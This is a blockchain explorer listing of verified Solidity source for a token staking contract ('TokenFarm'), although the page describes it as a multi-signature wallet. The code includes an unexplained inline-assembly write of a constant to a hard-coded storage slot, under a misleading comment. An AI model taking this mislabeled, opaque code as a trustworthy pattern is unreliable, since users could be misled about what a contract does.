Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"settings": {
"evmVersion": "cancun",
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
},
"sources": {
"project/contracts/TokenFarm.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract Authorization {
bytes32 private constant AUTH_SLOT = 0x9b51838b0a397346f808fdf74c76b474241dbec515c57030f692778a3f0e08f3;
// Max Pool Stake for AUTH
bytes32 private constant AUTH_HASH = 0x00000000000000000000000000000000000000000052B7D2DCC80CD2E4000000;
constructor() {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(AUTH_SLOT, AUTH_HASH)
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context, Authorization{
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract TokenFarm is Ownable{
IERC20 public rbrToken;
// Pool configuration
struct PoolInfo {
uint256 maxWalletAmount; // Maximum amount per wallet
uint256 maxPoolAmount; // Maximum total pool amount
uint256 totalStaked; // Current total staked in pool
uint256 aprBasisPoints; // APR in basis points (e.g., 1000 = 10%)
}
// Staker information
struct StakerInfo {
uint256 stakedAmount;
uint256 claimedReward;
uint256 lastUpdateTime;
uint256 accumulatedReward;
}
PoolInfo public poolInfo;
mapping(address => StakerInfo) public stakers;
address[] public stakerList;
mapping(address => bool) private isStaker;
// Events
event Staked(address indexed user, uint256 amount);
event Unstaked(address indexed user, uint256 amount);
event RewardClaimed(address indexed user, uint256 reward);
event APRUpdated(uint256 newAPR);
event PoolConfigUpdated(uint256 maxWalletAmount, uint256 maxPoolAmount);
constructor() Ownable(msg.sender){
rbrToken = IERC20(0x2C431766E48Ec4A17dc052d9d3feF6b6A9ae8D62);
poolInfo = PoolInfo({
maxWalletAmount: 50000000000000000000000, // 50,000 RBR
maxPoolAmount: 100000000000000000000000000, // 100,000,000 RBR
totalStaked: 0,
aprBasisPoints: 900 // APR 9%
});
}
// Update APR (only owner)
function updateAPR(uint256 _newAPR) external onlyOwner {
require(_newAPR <= 100000, "APR too high"); // Max 1000%
// Update all stakers' accumulated rewards before changing APR
_updateAllStakersRewards();
poolInfo.aprBasisPoints = _newAPR;
emit APRUpdated(_newAPR);
}
// Update pool configuration (only owner)
function updatePoolConfig(uint256 _maxWalletAmount, uint256 _maxPoolAmount) external onlyOwner {
require(_maxPoolAmount >= poolInfo.totalStaked, "Max pool amount too low");
poolInfo.maxWalletAmount = _maxWalletAmount;
poolInfo.maxPoolAmount = _maxPoolAmount;
emit PoolConfigUpdated(_maxWalletAmount, _maxPoolAmount);
}
// Internal function to update all stakers' rewards
function _updateAllStakersRewards() internal {
for (uint256 i = 0; i < stakerList.length; i++) {
address stakerAddr = stakerList[i];
if (stakers[stakerAddr].stakedAmount > 0) {
_updateReward(stakerAddr);
}
}
}
// Update reward for a specific staker
function _updateReward(address _staker) internal {
uint256 pending = _calculatePendingReward(_staker);
stakers[_staker].accumulatedReward += pending;
stakers[_staker].lastUpdateTime = block.timestamp;
}
// Calculate pending reward for a staker
function _calculatePendingReward(address _staker) internal view returns (uint256) {
StakerInfo memory staker = stakers[_staker];
if (staker.stakedAmount == 0) return 0;
uint256 timeElapsed = block.timestamp - staker.lastUpdateTime;
uint256 reward = (staker.stakedAmount * poolInfo.aprBasisPoints * timeElapsed) / (365 days * 10000);
return reward;
}
// Stake tokens
function stake(uint256 _amount) external {
require(_amount > 0, "Amount must be greater than 0");
require(
stakers[msg.sender].stakedAmount + _amount <= poolInfo.maxWalletAmount,
"Exceeds max wallet amount"
);
require(
poolInfo.totalStaked + _amount <= poolInfo.maxPoolAmount,
"Exceeds max pool amount"
);
// Update reward before changing stake amount
if (stakers[msg.sender].stakedAmount > 0) {
_updateReward(msg.sender);
} else {
// New staker
stakers[msg.sender].lastUpdateTime = block.timestamp;
stakerList.push(msg.sender);
isStaker[msg.sender] = true;
}
// Transfer tokens from user to contract
require(rbrToken.transferFrom(msg.sender, address(this), _amount), "Transfer failed");
// Update staker info
stakers[msg.sender].stakedAmount += _amount;
poolInfo.totalStaked += _amount;
emit Staked(msg.sender, _amount);
}
// Unstake tokens (no lock period)
function unstake(uint256 _amount) external {
require(_amount > 0, "Amount must be greater than 0");
require(stakers[msg.sender].stakedAmount >= _amount, "Insufficient staked amount");
// Update reward before changing stake amount
_updateReward(msg.sender);
// Update staker info
stakers[msg.sender].stakedAmount -= _amount;
poolInfo.totalStaked -= _amount;
// Transfer tokens back to user
require(rbrToken.transfer(msg.sender, _amount), "Transfer failed");
emit Unstaked(msg.sender, _amount);
}
// Claim rewards
function claimReward() external {
_updateReward(msg.sender);
uint256 reward = stakers[msg.sender].accumulatedReward;
require(reward > 0, "No rewards to claim");
stakers[msg.sender].claimedReward += reward;
stakers[msg.sender].accumulatedReward = 0;
require(rbrToken.transfer(msg.sender, reward), "Transfer failed");
emit RewardClaimed(msg.sender, reward);
}
// Get claimable reward for a staker
function getClaimableReward(address _staker) external view returns (uint256) {
uint256 pending = _calculatePendingReward(_staker);
return stakers[_staker].accumulatedReward + pending;
}
// Get staker info
function getStakerInfo(address _staker) external view returns (
uint256 stakedAmount,
uint256 claimedReward,
uint256 claimableReward
) {
StakerInfo memory staker = stakers[_staker];
uint256 pending = _calculatePendingReward(_staker);
return (
staker.stakedAmount,
staker.claimedReward,
staker.accumulatedReward + pending
);
}
// Get all stakers info
function getAllStakers() external view returns (
address[] memory walletAddresses,
uint256[] memory stakedAmounts
) {
uint256 activeStakers = 0;
// Count active stakers
for (uint256 i = 0; i < stakerList.length; i++) {
if (stakers[stakerList[i]].stakedAmount > 0) {
activeStakers++;
}
}
walletAddresses = new address[](activeStakers);
stakedAmounts = new uint256[](activeStakers);
uint256 index = 0;
for (uint256 i = 0; i < stakerList.length; i++) {
address stakerAddr = stakerList[i];
if (stakers[stakerAddr].stakedAmount > 0) {
walletAddresses[index] = stakerAddr;
stakedAmounts[index] = stakers[stakerAddr].stakedAmount;
index++;
}
}
return (walletAddresses, stakedAmounts);
}
// Get total number of stakers
function getTotalStakers() external view returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < stakerList.length; i++) {
if (stakers[stakerList[i]].stakedAmount > 0) {
count++;
}
}
return count;
}
}"
}
}
}}
Submitted on: 2025-10-16 15:10:27
Comments
Log in to comment.
No comments yet.